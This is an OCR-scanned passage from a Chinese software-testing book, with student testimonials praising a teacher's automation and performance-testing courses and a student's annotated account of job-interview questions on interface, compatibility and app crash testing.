续 跟 着 小 强 老 师 学 习 Python 自动 化 测试 课程 。 但 是 ,Python 的 难题 来 了 ， 
代码 0 基础 可 以 开始 么 ? 框架 概念 为 0 可 以 开始 么 ? 带 着 这 些 疑 问 ,还 是 坚 
持 相 信 带 我 走向 “人 生 茵 峰 ? 的 小 强 老师 。 一 步 一 步 , 从 最 基础 的 代码 结构 、 
最 零散 的 功能 代码 , 慢 慢 拼凑 成 一 套 完 整 的 框架 ,从 测试 执行 到 测试 报告 ， 
全 自动 输出 。 经 过 小 强 老 师 的 讲解 ,发 现 自动 化 测试 框架 并 不 是 那么 难 , 看 
着 自己 把 代码 一 个 个 码 起 来 , 变 成 一 个 完整 可 用 的 自动 化 测试 框架 ,内 心 那 
份 激动 是 无 法 形容 的 。 当 然 学 习 自 动 化 测试 也 是 为 了 满足 公司 对 我 的 期 
盼 ,也 就 是 能 完美 地 应 用 到 我 实际 的 工作 中 嗪 , 即 而 开始 我 的 “全 能 ”之 路 。 

技术 成 长 之 路 当中 ,还 是 少不了 小 强 老师 苦口 婆 心 . 不厌 其 烦 地 教导 ， 
遇 到 他 是 我 这 一 生 最 幸运 的 事 。 

你 们 是 否 也 想像 我 一 样 迎接 自己 的 人 生 襄 峰 呢 ?” 想 安 于 现状 还 是 想 去 
寻求 一 些 生活 的 刺激 和 新 鲜 感 呢 ? 告 诚 大 家 :过 分 地 安 于 现状 会 很 容易 成 
为 被 淘汰 的 一 员 。 


14.2 从 功能 测试 到 性 能 测试 的 转型 之 路 


学 员 狼 狼 ( 化 名 ) 的 自述 

在 测试 行业 也 有 两 年 了 ,两 年 的 时 间 对 于 一 个 人 的 职业 生涯 来 说 不 算 
长 。 但 是 从 职业 发 展 的 角度 来 看 ,这 两 年 却 是 非常 重要 的 。 有 的 人 抓 住 这 
两 年 的 机 会 ,会 快速 地 从 行业 新 手 变 成 行业 高 手 , 但 是 有 的 人 却 一 直 停 留 在 
原 地 。 我 就 属于 后 面 的 那 种 人 ,两 年 时 间 换 了 两 家 公司 ,但 都 是 做 手工 测 
试 , 因 为 公司 规模 较 大 ,整个 测试 部 门 共 有 四 五 十 人 ,每 个 人 都 固定 地 重复 
同样 的 事情 ,手工 测试 的 人 员 很 难 接触 到 更 高 级 的 性 能 测试 。 就 是 在 这 种 
工作 环境 下 ,一 个 人 的 测试 技术 很 难得 到 提高 。 有 人 说 ,你 只 要 会 玩 电脑 ， 
会 写 测试 用 例 ,就 可 以 做 手工 测试 。 对 于 公司 来 说 ,一 个 刚 毕 业 的 大 学 生 和 
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一 个 两 年 经 验 的 手工 测试 人 员 ,根本 没 啥 大 的 区 别 。 我 当时 被 这 句 话 刺激 
以 后 , 心 也 是 拔 凉 拔 凉 的 。 后 来 几 天 我 一 直 在 想 自 己 在 测试 行业 该 怎么 发 
展 ,怎么 才能 比 别 人 更 有 竞争 力 。 然 后 我 就 跟 很 多 人 一 样 ,去 百度 不 停 地 搜 
索 现在 测试 行业 最 需要 学 的 是 什么 技术 。 

缘分 总 是 来 到 有 准备 的 人 的 身边 , 当 我 进入 51CTO 学 院 看 到 小 强 老师 
的 视频 后 就 试听 了 一 节 课 ,小 强 老师 的 声音 辨识 度 特别 高 ,普通 话 很 标准 ， 
听 起 来 很 舒服 ,讲课 的 语 速 也 刚好 不 快 不 慢 , 讲 课 思 路 很 清晰 ,这 不 就 是 一 
个 好 老师 必 备 的 条 件 吗 ? 我 决定 报名 了 。 

整个 课程 设计 得 非常 科学 ,课程 开始 前 ,需要 学 员 去 预先 学 习 的 基础 知 
识 , 都 一 一 列 出 来 了 ,只 要 根据 上 面 的 要 点 ,进行 自学 就 行 了 。 在 学 习 过 程 
中 很 多 知识 都 会 结合 实际 的 工作 项 目 来 讲 , 这 种 学 以 致 用 的 方法 ,能 让 学 员 
眼前 一 亮 ,而 且 特 别 容 易 理 解 。 当 然 课 上 一 分 钟 , 课 下 十 年 功 ,老师 教 得 再 
好 ,如 果 自 己 课 后 不 花 时 间 和 精力 来 复习 也 是 没有 用 的 ,尤其 是 老师 留 的 课 
后 作业 。 这 里 必须 要 特别 点 赞 的 一 点 就 是 ,小 强 老 师 会 亲自 批改 每 个 人 的 
作业 ,需要 重点 提醒 的 ,都 会 在 邮件 中 指出 来 ,貌似 即使 在 上 学 的 时 候 都 没 
有 过 这 样 的 待遇 啊 。 

最 后 还 有 面试 指导 。 面 试题 讲解 的 时 候 , 我 已 开始 去 面试 性 能 测试 工 
程 师 了 。 这 个 时 候 的 我 ,已 经 不 是 两 个 月 前 的 我 ,因为 我 已 经 掌握 了 如 何 做 
好 一 个 性 能 测试 工程 师 的 知识 了 ,不 再 是 那个 只 会 “点 点 点 ”, 被 开发 瞧不起 
的 测试 苦力 了 。 没 开始 面试 前 ,还 有 点 小 紧张 ,担心 自己 会 被 面试 官 问 倒 。 
不 过 后 来 证 明 , 真 是 多 余 紧张 了 ,全 程 面试 都 很 顺利 ,面试 官 问 的 问题 ,都 是 
上 课 讲 过 的 东西 ,应 对 面试 官 那 是 轻而易举 啊 。 然 后 当天 就 拿 到 offer 了 ， 
这 还 只 是 我 第 一 个 面试 的 公司 呀 。 现 在 我 已 经 准备 着 手 接 下 来 的 工作 了 ， 
公司 在 开发 一 个 做 电子 商务 的 APP, 还 是 第 一 个 版 本 ,接口 测试 特别 重要 。 
我 就 学 以 致 用 ,使 用 Jenkins、JMeter 和 Ant 搭建 了 一 个 小 型 的 接口 自动 化 
环境 , 正 因 为 这 点 ,还 受到 了 技术 总 监 的 夸奖 ,心里 窃 喜 。 等 APP 功能 趋 于 
稳定 后 ,就 开始 准备 做 APP 的 性 能 测试 ,对 于 这 点 ,我 一 点 也 不 担心 ,因为 学 
好 了 课程 ,心中 有 料 ,而 且 还 有 很 多 性 能 一 期 的 同学 在 背后 撑 着 ,我 相信 大 
展 身手 的 时 候 到 了 。 

做 好 性 能 测试 ,最 重要 的 其 实 不 是 如 何 熟 练 运用 你 的 工具 ,而 是 性 能 测 
试 的 思想 ,只 有 把 性 能 测试 的 思想 武装 到 你 的 脑袋 里 ,你 才 会 是 一 个 优秀 的 
性 能 测试 工程 师 。 如 何 学 好 这 样 的 思想 呢 ? 不 用 担心 ,因为 小 强 老师 的 课 
程 全 程 都 在 培养 你 的 性 能 测试 思想 ,并 不 是 简单 地 教 你 点 知识 。 
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14.3 一 只 菜鸟 的 成 长 之 路 


学 员 Garfield( 化 名 ) 的 自述 

简单 地 自我 介绍 ,就 是 一 只 数学 专业 、 脑 洞 极 大 、 深 度 强迫 症 、 编 程 菜 
鸟 . 颜 控 .但 人 丑 的 少女 。 

我 的 愿望 很 简单 ,一 辈子 随遇而安 、 家 庭 幸 福 , 但 希望 能 一 直 坚 持 , 努 力 
成 为 有 技术 含量 的 女生 。 什 么 叫 作 “有 技术 含量 ”, 要 么 就 是 我 能 做 别人 不 
能 做 的 ,要 么 就 是 我 能 把 工作 完成 得 又 快 又 好 。 当 然后 者 是 阶段 性 目标 ,前 
者 是 一 个 很 遥远 的 未 知 黑洞 ,我 不 知道 我 能 坚持 多 和 久 ,不 确定 在 什么 时 候 就 
会 转向 其 他 的 行业 ,现在 要 做 的 无 非 就 是 在 一 家 不 大 不 小 的 IT 公司 里 面 安 安 
分 分 .脚踏实地 地 搬 好 每 一 块 砖 ,给 自己 通 向 目标 的 道路 上 又 上 坚实 的 阶梯 。 

在 我 惜 懂 无 知 实习 的 时 候 , 正 好 被 一 家 知名 公司 A 录取 ,但 后 来 莫名 其 
妙 地 从 数据 分 析 转 变 成 用 户 体验 师 , 接 着 天 真 地 被 迫 成 为 了 黑 盒 测试 工程 
师 , 然 后 顺 其 自然 进入 了 测试 这 个 行业 。 实 习 的 时 候 的 确 是 蛮 昔 的 ,每 天 早 
早 从 宿舍 出 发 ,晚上 疗 钟 的 指针 不 到 12 点 绝 不 回 学 校 , 连 跨 年 也 是 在 计程车 
上 听 着 FM93 度 过 的 ,简直 不 敢 相信 那个 每 天 活力 四 射 的 家 伙 是 我 。 遗 憾 
的 是 最 终 还 是 离开 了 。 现 在 想来 ,还 是 感谢 这 家 公司 带 给 我 成 功 的 开端 和 
良好 的 习惯 以 及 真实 社会 的 缩影 。 

现在 一 直 处 在 公司 B, 美 丽 的 西子 湖畔 见证 了 公司 和 自己 快速 的 发 展 ， 
第 一 次 真正 意义 上 系统 地 接触 了 性 能 这 个 概念 。 公 司 B 也 没有 性 能 测试 的 
“老司 机 ”, 只 能 靠 自 己 摸 疏 滚 打 , 就 跟 小 地 鼠 似 的 ,这 边 打 个 洞 那 边 挖 个 坑 。 
尝试 的 路 途 总 是 有 那么 多 兢 确 绊 绊 。 

之 后 先 去 做 了 某 个 电 商 系统 的 两 三 个 功能 版 本 ,熟悉 主要 功能 ,了 解 业 
务 ,再 对 数据 进行 统计 分 析 ,得 到 系统 使 用 频 度 .峰值 以 及 其 他 相关 但 不 能 
透露 的 数据 。 然 后 比较 笨拙 地 学 习 使 用 LoadRunner, 当 自己 不 知道 怎么 学 
的 时 候 , 问 问 常 用 的 流行 工具 , 它 会 给 我 们 答案 。 使 用 工具 时 遇见 问题 就 上 
上 官网 或 者 Fl1, 无 非 就 是 要 克服 英文 。 然 后 跑 场景 ,看 分 析 结 果 , 看 不 懂 就 
请 教 开 发 人 员 或 查 资料 ,每 天 都 在 资料 的 海洋 里 面 迷 醉 。 什 么 都 不 会 的 时 
候 做 出 一 点 就 觉得 是 成 就 ,学 到 了 新 的 知识 或 者 有 了 更 深刻 的 理解 ,把 以 前 
的 错误 观点 纠正 了 ,世界 都 美好 了 一 点 。 之 后 的 日 子 里 又 愉快 地 做 了 几 个 
项 目 ,我 却 渐渐 不 满足 现状 了 ,每 次 设计 场景 纠结 半天 , 跑 完 之 后 分 析 得 太 
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浅 , 定 位 不 到 真正 的 瓶颈 , 东 一 块 西 一 块 知识 不 全 面 ,没有 大 的 条 理性 ,即使 
验证 分 析出 某 些 结论 来 也 不 足以 让 开发 同事 和 自己 觉得 满意 。 

入 闻 强 哥 大 名 ,又 恰 逢 良机 ,愉快 地 成 为 强 哥 的 一 枚 小 学 员 。 上 课 的 日 
子 里 面 真是 痛 并 快乐 着 ,一边 面临 着 作业 的 折磨 ,一 边 又 享受 着 和 大 家 一 起 
学 习 的 喜悦 ,一 个 人 学 的 时 候 始 终 觉 得 比较 枯燥 。 一 开始 的 确 会 比较 不 适 
应 ,繁忙 的 加 班 狗 生 活 硬 生生 挤 进 了 需要 高 度 自 觉 的 作业 人 生 ,偷懒 的 内 心 
蠢蠢欲动 ,勤奋 的 小 人 和 惰性 狠 狠 地 争斗 。 在 乱七八糟 地 安排 下 自然 每 次 
都 是 在 交 作 业 的 截止 点 前 才 发 出 邮件 。 我 坦白 我 有 罪 , 仿 佛 回 到 了 大 学 的 
时 光 , 除 了 没有 了 愉快 地 抄 作 业 。 不 过 慢 慢 地 掌握 了 节奏 : 课 前 预习 做 笔 
记 ; 上 课 好 好 听 ,做 好 课堂 笔记 ,以 听课 实践 为 主笔 记 为 辅 , 事 半 功 倍 ; 课 后 
先 看 一 遍 视 频 , 强 哥 语 速 相对 比较 慢 ,可 以 愉快 地 加 速 加 速 加 速 ,完善 整理 
笔记 ,然后 开始 做 作业 ; 完成 之 后 还 有 时 间 剩 余 , 那 可 以 再 看 一 遍 视频 。 时 
间 长 了 ,记忆 淡 了 ,再 重新 回顾 一 遍 ,“ 我 不 是 黄蓉 ,没有 过 目 不 忘 的 神功 ”， 
只 能 一 遍 遍 地 巩固 ,梳理 ,最 后 形成 自己 的 知识 体系 。 

强 哥 带 给 我 的 最 大 收获 还 是 在 思维 方式 上 的 ,思维 方式 需要 一 个 好 的 
导师 引领 ,自己 刻意 地 练习 、 优 化 ,适用 于 自身 ,然后 养 成 了 良好 的 思考 
习惯 。 

学 习 和 实践 永远 是 相辅相成 的 。 上 课 学 习 JMeter, 在 工作 的 休息 时 间 
利用 公司 系统 进行 练习 ,偶然 间 被 老大 看 到 了 ,老大 一 脸 惊 讶 ,也 比较 巧 , 正 
好 有 个 项 目 找 老大 做 性 能 测试 ,希望 使 用 JMeter 做 ,当时 她 苦于 没有 QA 会 
J Meter, 正 准备 推 掉 这 个 , 没 想到 机 会 就 来 到 我 的 面前 ,按照 流程 一 步 步 地 
做 下 来 。 所 以 说 机 会 总 是 留 给 有 准备 的 人 ,敢于 实践 ,做 错 了 不 满意 就 换个 
方向 继续 。 

现在 我 已 经 人 职 新 公司 ,不管 什么 工作 ,什么 事情 ,只 要 坚持 往 正确 的 
方向 做 得 深入 ,就 会 提升 。 练 习 , 坚 持 ,我 还 在 路 上 。 

但 愿 我 的 三 两 言语 可 以 给 你 带 来 点 滴 的 帮助 , 那 就 是 我 莫大 的 荣幸 了 。 


14.4 90 后 帅哥 的 测试 技能 提升 之 路 


学 员 小 峰 ( 化 名 ) 的 自述 
时 间 飞 逝 ,日 月 如 梭 。 一 晃 就 在 测试 干 了 两 年 多 ,回想 起 刚 来 上 海 找 工 
作 的 日 子 , 仿 佛 还 在 昨天 , 那 时 候 的 自己 满怀 激动 地 投下 一 封 封 简历 ,满怀 
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期 待 地 等 待 着 面试 电话 ,然后 一 家 家 去 面试 。 在 面试 的 过 程 中 才 发 现 自己 
的 知识 体系 是 多 么 地 匮乏 ,面试 官 有 问 你 开发 知识 的 ,有 问 你 性 能 知识 的 ， 
有 问 你 自动 化 知识 的 ,等 等 。 

刚 出 来 的 时 候 自 己 只 懂得 软件 测试 的 基本 知识 ,以 为 软件 测试 非常 “ 软 
件 ”, 动 动手 指 ， 点 点 点 ”就 可 以 了 ,根本 不 知道 在 测试 这 一 行业 需要 学 习 的 
东西 太 多 太 多 了 。 后 来 自己 利用 业余 时 间 一 直 在 不 停 地 学 习性 能 和 自动 
化 ,但 是 性 能 和 自动 化 涉及 的 面 太 宽 了 ,我 往往 是 学 了 这 头 忘 了 那 头 ,自学 
的 效率 太 低 ,很 快 自己 学 习 的 兴趣 就 没 了 。 后 来 由 于 同学 的 推荐 ,认识 了 小 
强 老 师 , 于 是 抱 着 将 信 将 疑 的 态度 报 了 培训 班 , 也 是 希望 自己 能 够 在 老师 的 
带领 下 快速 地 成 长 起 来 。 

想起 自己 在 性 能 培训 的 日 子 , 一 周 最 开心 的 是 自己 的 作业 得 到 老师 的 
肯定 ,每 次 被 老师 在 群 里 表扬 的 时 候 自 己 学 习 的 热情 又 高 涨 了 很 多 。 那 时 
候 的 自己 每 天 都 是 很 充实 的 ,上 课时 认真 听讲 ,严格 按照 老师 的 要 求 完 成 自 
己 的 作业 ,总 结 自己 的 上 课 笔记 。 就 这 样 我 的 知识 体系 越 来 越 完善 了 ,我 开 
始 知 道 了 整个 性 能 测试 的 流程 ,性 能 测试 的 脚本 编写 ,场景 设计 、 测 试 结果 
分 析 、 服 务 器 监控 以 及 性 能 的 调 优 等 ,把 所 有 的 知识 点 串 接 了 起 来 。 最 终 在 
学 完 后 如 愿 以 偿 地 找到 了 自己 喜欢 的 工作 ,非常 感谢 老师 的 付出 与 奉献 。 
性 能 测试 是 一 个 找 系 统 短 板 的 事情 ,但 是 这 个 短 板 有 可 能 存在 的 地 方太 多 
了 ,比如 数据 库 . 中 间 件 .架构 等 ,你 的 职责 是 找到 系统 的 短 板 ,提升 这 个 短 
板 , 从 而 达到 提升 系统 性 能 的 目的 。 

在 后 来 得 知 老 师 又 开 了 Python 自动 化 的 培训 班 , 代 码 0 基础 的 我 特地 
问 了 老师 这 门 课 学 习 的 难度 ,发 现 是 从 最 基础 的 开始 学 起 ,瞬间 又 激 起 了 自 
己 的 学 习 欲 望 。 就 这 样 我 从 最 基本 的 语法 开始 学 起 , 慢 慢 跟着 老师 的 节奏 ， 
从 最 开始 的 啥 都 不 懂 到 最 后 的 驾轻就熟 ,中 间 跨 过 了 无 数 个 “ 坑 ”, 有 的 时 候 
一 个 报错 需要 我 花 三 、 四 天 的 时 间 去 找 原因 , 当 你 找到 原因 之 后 的 那 种 喜悦 
感 是 无 法 用 语言 来 形容 的 ,激动 而 且 非 常 开 心 。 到 现在 课程 已 经 学 完了 ,我 
也 在 尝试 着 应 用 到 自己 公司 的 接口 测试 中 , 磁 到 不 懂 的 地 方 , 先 分 析 总 结 思 
路 , 列 出 大 概 的 步骤 ,在 脑海 中 形成 基本 的 框架 ,基本 上 问题 都 可 以 迎 丸 
而 解 。 

最 后 ,非常 感谢 小 强 老 师 的 耐心 和 付出 ,不 仅 让 我 学 习 到 了 很 多 有 用 的 
知识 ,而 且 学 到 了 很 多 解决 问题 的 思路 和 方法 ,让 我 在 碰 到 困难 时 知道 怎么 
去 分 析 ,怎么 去 解决 ,我 想 这 才 是 最 有 价值 的 财富 。 
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14.5 “一 根 老 油条 ”的 面试 记录 


算 一 算 我 已 工作 快 5 年 了 ,对 一 个 技术 人 员 来 说 ,5 年 是 一 个 坎 儿 ,是 从 
职场 小 白 转向 资深 人 士 的 一 道 坎 。 但 是 说 实话 ,我 感觉 我 并 没有 达到 那样 
的 高 度 ,技术 水 平 没有 那么 高 的 高 度 , 能 力 可 能 够 了 ,但 还 是 感觉 满 满 地 不 
自信 。 可 能 大 家 也 有 着 同样 的 困惑 ,是 在 一 个 公司 慢 慢 养老 ,成 为 一 根 老 
油条 ”, 还 是 去 适应 一 下 新 的 环境 ,哪怕 这 个 环境 不 如 这 个 顺心 ? 还 有 很 多 
人 像 我 一 样 , 有 一 颗 不 安 分 的 心 , 但 是 却 是 “思想 的 巨人 ,行动 的 矮子 ”, 想 行 
动 却 感觉 自己 好 像 什么 都 不 会 ,然后 又 在 犹 驳 和 迷茫 中 继续 安 分 下 去 。 其 
实 我 觉得 这 样 是 有 弊端 的 ,你 会 慢 慢 发 现 周围 的 好 多 人 都 在 进步 ,都 在 不 停 
地 往 更 好 的 公司 迈进 ,而 自己 却 停滞 不 前 。 与 其 这 样 ,不 如 准备 一 下 ,尝试 
参加 面试 , 慢 慢 地 找到 一 些 自信 。 我 很 赞同 一 种 说 法 ,不 管 你 换 不 换 工 作 ， 
一 定 要 时 时 保证 自己 信息 的 更 新 ,一 定 要 隔 一 段 时 间 去 面试 一 下 ,看 看 别 的 
公司 的 一 些 新 鲜 的 工作 方式 ,还 可 以 让 自己 时 刻 拥有 随时 可 以 换 工 作 的 战 
斗 力 。 


小 强 课 党 


很 多 朋友 问 多 久 换 一 次 工作 比较 好 ,根据 调查 显示 一 般 2 一 3 年 比较 
好 ,过 于 频繁 会 让 人 觉得 你 不 踏实 ,而 时 间 太 久 又 会 产生 这 位 学 员 描 述 
的 现象 。 就 如 本 文 开头 所 说 ,跳槽 面试 既是 一 种 提高 薪水 的 途径 ,也 是 
一 种 检验 自己 能 力 的 方法 ,如 果 自 己 能 力 不 达 标 自然 也 不 会 拿 到 满意 的 
薪水 。 干 了 IT 这 一 行业 就 要 明和 白 学 习 也 许 成 为 了 我 们 生命 中 的 永恒 。 


我 呢 , 也 是 很 久 没 有 面试 过 了 ,突然 心血 来 潮 想 年 前 试 一 试 ,看 看 自己 
是 什么 水 平 ,就 投了 两 份 简历 ,其 中 一 个 是 朋友 内 推 的 ,一 个 是 自己 投 的 。 
但 是 面试 的 效果 都 不 理想 ,我 总 结 了 面试 官 提出 的 一 些 问题 , 供 大 家 参考 。 

(1) 首先 进行 自我 介绍 ,人 的 第 一 印象 很 重要 ,自我 介绍 更 是 重 中 之 重 。 
这 里 可 以 简单 介绍 一 下 你 在 上 一 家 公司 所 负责 的 项 目的 内 容 、 自 己 的 工作 
职责 有 没有 什么 突出 的 业绩 等 。 
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小 强 课 党 


曾经 听 我 一 位 学 员 说 ,他 面试 别人 的 时 候 让 面试 者 做 自我 介绍 , 结 
果 被 面试 的 人 说 了 一 句 : 简历 上 都 有 。 我 听 到 之 后 十 分 震惊 ! 自我 介绍 
是 非常 重要 的 一 环 , 好 的 介绍 可 以 让 面试 官 快 速 了 解 你 甚至 对 你 有 好 
感 。 介 绍 要 扬长 避 短 ,突出 自己 的 贡献 或 者 引入 的 新 技术 ,而 不 是 大 家 
都 会 说 的 写 计划 、 写 用 例 、 写 报告 。 


(2) 你 们 是 如 何 进行 接口 测试 的 ? 

我 : 这 个 问题 一 问 出 来 ,很 多 人 会 简单 地 回答 用 JMeter 或 者 Postman 
发 个 请 求 就 好 了 呀 ,其实 我 也 是 这 么 想 的 。 可 以 从 接口 测试 的 目的 、 你 设计 
或 者 了 哪些 接口 等 角度 来 回答 ,如 果 公 司 里 面 开 展 了 接口 自动 化 ,可 以 介绍 
一 下 接口 自动 化 的 大 体 框架 是 什么 样 的 ,你 们 是 如 何 进行 验证 的 。 


小 强 课 党 


回答 任何 问题 不 要 太 简 短 ,不 要 一 两 向 就 说 完 ,要 从 总 体 流程 和 具 
体 某 些 点 上 来 表述 。 比 如 这 个 问题 就 可 以 先 回答 接口 测试 的 流程 是 怎 
么 做 的 ,然后 再 具体 说 下 你 在 做 接口 测试 的 时 候 遇 到 的 问题 ,这 样 既 有 
“概要 ”的 内 容 , 也 有 “具体 ”的 内 容 , 会 让 面试 官 觉得 你 的 回答 让 富 
“ 弟 满 9， 


(3) 你 们 是 如 何 收集 用 户 反馈 的 ? 

我 : 我 们 公司 会 用 用 户 反馈 系统 ,平时 用 户 发 现 一 些 问 题 会 打 电 话 给 客 
服 进行 反馈 ,客服 会 在 用 户 反馈 系统 上 标记 用 户 的 问题 ,问题 会 推送 到 钉 钉 
群 里 面 ,由 技术 或 者 值班 人 员 来 进行 解答 和 处 理 。 

面试 官 : 那 你 们 这 个 问题 是 用 户 反 馈 了 才能 解决 ,如 果 出 现 了 问题 但 用 
户 没 有 反馈 ,你 们 就 不 太 清 楚 了 。 我 们 是 在 APP 做 埋 点 的 , 埋 点 之 后 会 通过 
埋 点 日 志 来 查看 线 上 问题 。 线 上 的 APP 会 留 有 入口 ,入 口供 用 户 提出 问题 
反馈 ,并 且 我 们 会 对 用 户 问 题 进行 收集 .整理 和 分 类 ,关注 是 用 户 体验 类 的 
问题 多 还 是 功能 Bug 多 ,Bug 进行 小 版 本 迭代 修复 ,用 户 体 验 的 问题 会 留 到 
下 个 版 本 进行 迭代 。 安 卓 和 iOS 接 入 了 友 盟 ,可 以 查看 和 关注 APP 的 崩溃 
记录 等 。 
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小 强 课 惫 


学 员 的 回答 不 能 说 不 对 ,但 不 够 全 面 。 一 般 的 用 户 反馈 收集 方式 就 
是 上 面 说 的 两 种 ,分 别 是 用 户主 动 反 馈 和 我 们 的 主动 收集 。 


(4) 你 们 是 如 何 保证 产品 质量 的 ? 

我 : 我 们 测试 人 员 足 够 了 解 需求 之 后 再 开始 写 测 试用 例 ,然后 等 开发 提 
测 了 之 后 我 们 开始 进行 功能 测试 ,提出 的 Bug 做 到 日 清 , 之 后 等 Bug 都 修复 
好 再 开始 做 回归 测试 ,测试 之 后 就 上 线 。 

反思 : 其 实 这 个 问题 就 是 问 公 司 的 一 个 整体 测试 流程 或 者 一 个 业务 从 
开始 到 完成 的 完整 流程 ,而 我 的 回答 只 是 针对 了 测试 的 个 人 角色 来 进行 回 
答 的 。 其 实 可 以 这 么 回答 。 

首先 进行 需求 评审 ,在 需求 评审 阶段 测试 和 研发 人 员 会 对 产品 提出 的 
需求 的 价值 和 可 实现 程度 进行 衡量 ,不 合理 的 需求 要 及 时 卡 掉 , 如 果 多 数 的 
需求 是 老板 提出 来 的 ,我 们 没有 卡 掉 的 权利 , 那 我 们 会 在 业务 上 线 之 后 进行 
数据 收集 ,看 这 个 需求 实现 的 价值 供 二 期 需求 参考 。 

其 次 ,RD 进行 技术 评审 ,评审 出 来 这 个 产品 的 实现 方案 和 技术 手段 , 然 
后 进行 编码 ,编码 后 进行 必要 的 单元 测试 ,单元 测试 覆盖 率 要 达到 一 定 的 百 
从 比 。 

再 次 ,测试 人 员 进 行 测试 用 例 编写 ,测试 用 例 评审 ,用 例 评审 后 提供 一 
些 冒 烟 测 试用 例 给 开发 人 员 。 供 开发 人 员 在 代码 集成 完 之 后 进行 冒 烟 测 
试 , 只 有 冒 烟 测 试 通过 后 才能 提 测 给 测试 人 员 。 

然后 ,开发 人 员 开 始 集成 代码 ,解决 代码 冲突 ,最 后 将 代码 打 成 一 个 包 
供 测试 人 员 测 试 。 

接着 ,代码 测试 完成 后 我 们 会 进行 整体 的 回归 测试 ,回归 测试 完成 后 开 
始 准备 服务 端的 上 线 。 上 线 后 将 APP 进行 小 范围 的 灰 度 ( 灰 度 可 以 是 内 部 
的 或 者 外 部 的 ) , 灰 度 之 后 收集 问题 反馈 ,最 后 进行 整体 发 版 。 发 版 后 收集 
用 户 的 问题 反馈 并 进行 下 一 个 版 本 的 迭代 或 者 发 布 小 版 本 进行 修复 。 


小 强 课堂 
首先 值得 肯定 的 是 反思 内 容 很 好 ,但 这 样 的 回答 还 是 不 够 全 面 。 保 
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证 产品 质量 并 不 是 测试 一 个 部 门 就 可 以 完成 的 ,而 是 需要 全 员 的 整体 配 
合 , 所 以 在 回答 这 类 问题 的 时 候 要 有 一 定 的 高 度 。 比 如 : 可 以 从 产品 设 
计 规 范 、 开 发 规范 、 测 试 规范 、 运 维 规范 等 方面 进行 阐述 ,这 里 既 有 流程 
上 的 规范 也 要 有 技术 上 的 描述 。 


(5) 你 想 提 升 哪 方面 技能 ,或 者 你 的 人 生 规 划 , 或 者 你 比较 感 兴趣 的 
地 方 ? 

我 : 我 想 提升 技术 ,多 多 提升 自己 的 能 力 。 

反思 : 其 实 面试 官 想 听 的 是 你 想 提 升 哪 一 方面 的 技能 ,而 不 是 笼统 的 
“我 想 要 提升 自己 的 技术 ”, 技 术 领 域 很 大 ,到 底 是 性 能 .自动 化 .接口 ,还 是 
APP 专项 ? 在 回答 的 时 候 需 要 有 一 个 清晰 的 目标 ,比如 你 想 提 高 自己 的 代 
码 能 力 , 你 想 提 高 到 什么 程度 ”你 通过 什么 样 的 努力 能 够 使 你 的 目标 达成 ? 
比如 你 想 提升 自己 的 性 能 测试 能 力 , 是 性 能 测试 的 哪 一 个 方面 ,是 接口 脚本 
的 实现 能 力 ,还 是 发 现 问题 的 能 力 ,还 是 性 能 调 优 方面 ? 其 实 只 要 自己 心里 
有 一 个 清晰 可 达 的 目标 即 可 。 很 多 人 可 能 会 想 , 非 要 分 得 这 么 细 吗 ? 我 哪 
一 方面 都 想 提 升 啊 ,性 能 自动 化 我 都 想 接 触 , 两 手 抓 啊 。 但 这 样 可 能 使 面试 
官 觉得 你 的 目标 不 够 清晰 ,没有 一 个 确定 的 目标 。 


小 强 课 党 


学 员 反思 非常 好 。 这 个 问题 其 实 是 大 部 分 面试 者 存在 的 问题 ,这 里 
也 希望 大 家 能 认真 想 想 。 


(6) 你 觉得 H5 客户 端 APP 和 接口 测试 有 什么 不 同 ? 

我 : 没什么 不 一 样 啊 ,都 是 实现 同一 个 功能 。 

反思 : H5 可 能 关注 页 面 泻 染 、 承 载 在 不 同 容器 里 显示 的 不 同 效 果 , 比 
如 : 一 个 H5 页 面 在 电脑 浏览 器 是 正常 的 ,但 是 放 在 iOS 设备 中 就 出 现 了 UI 
问题 。APP 可 能 更 关注 APP 本 身 的 性 能 ,比如 耗 电量 、CPU 等 等 ,包括 闪 
退 和 崩 演 ,覆盖 安装 、 升 级 安装 等 。 

(7) 你 来 介绍 一 下 Appium 吧 。 

我 : 其 实 这 个 问题 是 考察 你 是 否 掌握 一 款 工具 ,要 懂 工 具 的 实现 原理 。 
这 个 问题 我 很 想 吐 槽 一 下 自己 ,明明 会 但 是 又 说 不 清楚 ,有 些 重 要 的 专业 词 
语 支 支吾 吾 的 。 其 实 不 管 掌握 哪 一 款 工具 ,最 重要 的 是 知道 这 款 工 具 的 工 
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小 强 课 答 


我 们 把 这 个 问题 扩展 来 说 ,很 多 朋友 明明 会 某 个 概念 或 技术 ,但 就 
是 表述 不 清楚 。 我 一 直 建 议 大 家 对 于 概念 、 技 术 还 是 其 他 都 要 转化 为 生 
活化 的 例子 ,这 样 就 能 帮助 我 们 理解 记忆 ,又 可 以 很 好 地 给 别人 解释 。 
比如 : 在 本 书 7.8 节 移 动 APP 内 存 测试 中 生活 化 的 解释 就 是 一 个 非常 
好 的 例子 。 


(8) 你 们 如 何 做 兼容 性 测试 的 ? 

我 : 首先 ,兼容 性 测试 一 种 是 手工 去 测试 ,通过 友 盟 查看 哪些 手机 型 号 
使 用 得 比较 多 ,然后 着 重 使 用 不 同安 卓 或 者 iOS 系统 版 本 、 不 同 的 屏幕 尺寸 
的 手机 进行 测试 。 这 里 还 需要 了 解 一 下 现在 最 新 的 安 卓 和 iOS 系统 版 本 。 

其 次 ,发 版 之 前 的 小 范围 灰 度 ,可 以 在 发 版 前 在 员工 内 部 和 外 部 进行 小 
范围 的 试用 ,大 家 手机 型 号 不 同 , 可 以 反馈 出 不 同 的 适 配 问题 。 

再 次 ,可 以 通过 接 入 第 三 方 平 台 来 进行 测试 ,比如 Testin 等 。 

(9) 如 果 APP 端 出 现 骨 溃 了 怎么 办 ? 

我 : 手机 APP 崩 演 比较 常 在 使 用 友 盟 、 百 度 等 第 三 方 分 析 工 具 时 发 生 。 
安 卓 系统 可 以 通过 adb logcat 来 查看 日 志 , 并 且 将 日 志 反 馈 给 开发 ; iOS 系 
统 可 以 自己 实现 应 用 内 崩溃 收集 ,并 上 传 服务 器 ,也 可 以 通过 iTunes 获取 崩 
溃 日 志 。 

(10) 如 果 让 你 测试 短信 验证 码 这 个 功能 ,你 准备 怎么 测试 ? 

我 : 验证 码 数据 是 否 记 录 成 功 、 验 证 码 是 否 是 合法 的 、 验 证 码 的 有 效 期 、 
验证 码 是 否 发 送 到 用 户 手 机 里 、 验 证 码 输入 等 。 也 可 以 验证 一 下 这 个 接口 
的 性 能 。 


小 强 课 堂 
